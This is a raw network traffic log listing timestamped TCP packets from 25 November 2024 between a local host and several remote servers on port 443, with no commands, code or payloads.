Nov 25, 2024 18:28:18.193542004 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.193551064 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.193594933 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.207499981 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.207519054 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.207591057 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.207614899 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.207643032 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.207925081 CET	49711	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.207945108 CET	443	49711	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.239964962 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.240010977 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.240111113 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.241274118 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.241308928 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.241364956 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.241815090 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.241828918 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.242191076 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.242206097 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.243149042 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.243160963 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.243235111 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.243422985 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.243432999 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.244302034 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.244338036 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.244394064 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.244904041 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.244930983 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.244988918 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.245058060 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.245074987 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.245167017 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:18.245179892 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:18.285057068 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:18.285151958 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:18.285224915 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:18.285281897 CET	49712	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:18.285293102 CET	443	49712	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:18.464884043 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:18.464926004 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:18.465012074 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:18.465276957 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:18.465292931 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:19.799345016 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:19.799447060 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:19.800842047 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:19.800851107 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:19.801088095 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:19.802459955 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:19.802628994 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:19.802664042 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:19.802723885 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:19.802732944 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:20.067837000 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.068476915 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.068506956 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.069113970 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.069120884 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.069422960 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.069688082 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.069705963 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.070121050 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.070127010 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.109441042 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.109880924 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.109896898 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.110249043 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.110254049 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.239947081 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.240564108 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.240575075 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.241055012 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.241065025 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.248119116 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.248529911 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.248543978 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.248902082 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.248912096 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.507754087 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.507776976 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.507910967 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.507927895 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.507977009 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.508213043 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.508219004 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.508235931 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.508390903 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.508419991 CET	443	49716	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.508459091 CET	49716	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.511274099 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.511322021 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.511409998 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.511580944 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.511595011 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.525888920 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.525952101 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.526005030 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.526128054 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.526128054 CET	49717	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.526138067 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.526144981 CET	443	49717	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.528354883 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.528383017 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.528460026 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.528594017 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.528609037 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.663492918 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.663520098 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.663579941 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.663676977 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.663676977 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.663794041 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.663794041 CET	49713	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.663820028 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.663829088 CET	443	49713	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.683918953 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.683964968 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.684042931 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.690579891 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.690596104 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.754503012 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:20.754618883 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:20.754663944 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:20.754755974 CET	49718	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:20.754771948 CET	443	49718	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:20.844197989 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.844263077 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.844311953 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.844531059 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.844537973 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.844559908 CET	49714	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.844564915 CET	443	49714	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.847394943 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.847426891 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.847505093 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.847630024 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.847645044 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.852602959 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.852632046 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.852737904 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.852747917 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.852870941 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.852881908 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.852905035 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.853032112 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.853070021 CET	443	49715	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.853112936 CET	49715	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.855057001 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.855087996 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:20.855252028 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.855283976 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:20.855289936 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:21.149647951 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:21.149692059 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:21.149754047 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:21.150468111 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:21.150485039 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:21.191340923 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:21.191381931 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:21.191452980 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:21.191752911 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:21.191766024 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:22.375598907 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.376220942 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.376250029 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.376614094 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.376899004 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.376904964 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.377393007 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.377415895 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.378024101 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.378030062 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.417638063 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:22.417711973 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:22.419126987 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:22.419133902 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:22.419462919 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:22.420890093 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:22.420975924 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:22.420980930 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:22.527889013 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.528466940 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.528482914 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.528913975 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.528918982 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.699520111 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.700124979 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.700143099 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.700576067 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.700581074 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.707209110 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.707814932 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.707834005 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.708220959 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.708230019 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.735693932 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:22.735738039 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:22.735809088 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:22.738682985 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:22.738698959 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:22.837716103 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.837779045 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.837826014 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.838010073 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.838023901 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.838037014 CET	49720	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.838042021 CET	443	49720	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.838133097 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.838221073 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.838268042 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.839535952 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.839559078 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.839570999 CET	49719	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.839576960 CET	443	49719	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.843108892 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.843142986 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.843204021 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.844383955 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.844392061 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.844443083 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.844712973 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.844727039 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.844857931 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.844863892 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.982552052 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.982615948 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.982669115 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.982896090 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.982896090 CET	49721	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.982916117 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.982925892 CET	443	49721	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.985892057 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.985928059 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:22.986008883 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.986202002 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:22.986213923 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.157843113 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.157917976 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.158061981 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.158173084 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.158185959 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.158205986 CET	49722	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.158210993 CET	443	49722	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.160698891 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.160737038 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.160890102 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.161039114 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.161051989 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.164643049 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.164702892 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.164768934 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.164865971 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.164880991 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.164891005 CET	49723	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.164896011 CET	443	49723	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.166783094 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.166800022 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.166865110 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.166994095 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:23.167001963 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:23.209625006 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:23.209748030 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:23.209796906 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:23.209928989 CET	49725	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:23.209943056 CET	443	49725	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:23.453773022 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:23.453857899 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:23.455487967 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:23.455498934 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:23.455765009 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:23.459692955 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:23.459752083 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:23.459759951 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:23.459865093 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:23.503330946 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:23.800719976 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:23.800765038 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:23.800822020 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:23.801112890 CET	49733	443	192.168.2.6	104.21.7.169
Nov 25, 2024 18:28:23.801124096 CET	443	49733	104.21.7.169	192.168.2.6
Nov 25, 2024 18:28:24.138082981 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:24.138505936 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:24.138582945 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:24.150074959 CET	49724	443	192.168.2.6	20.198.119.143
Nov 25, 2024 18:28:24.150098085 CET	443	49724	20.198.119.143	192.168.2.6
Nov 25, 2024 18:28:24.624099016 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:24.624207973 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:24.633692980 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.637135983 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.639337063 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:24.639355898 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:24.639596939 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:24.641489983 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.641521931 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.642301083 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.642307997 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.646245956 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.646255016 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.646888971 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.646893978 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.685702085 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:24.758944035 CET	49726	443	192.168.2.6	4.245.163.56
Nov 25, 2024 18:28:24.799339056 CET	443	49726	4.245.163.56	192.168.2.6
Nov 25, 2024 18:28:24.874536991 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.883548975 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.883569002 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.884247065 CET	49729	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.884253025 CET	443	49729	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.970972061 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.971438885 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.971465111 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.971901894 CET	49730	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.971909046 CET	443	49730	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.986553907 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.987005949 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.987062931 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:24.987437010 CET	49731	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:24.987442017 CET	443	49731	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.083707094 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.083775997 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.083849907 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.084115028 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.084135056 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.084145069 CET	49728	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.084156036 CET	443	49728	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.087887049 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.087919950 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.088011980 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.088186026 CET	49735	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.088201046 CET	443	49735	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.090768099 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.090820074 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.090868950 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.091025114 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.091039896 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.091068029 CET	49727	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:25.091073036 CET	443	49727	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:25.093686104 CET	49736	443	192.168.2.6	13.107.246.63
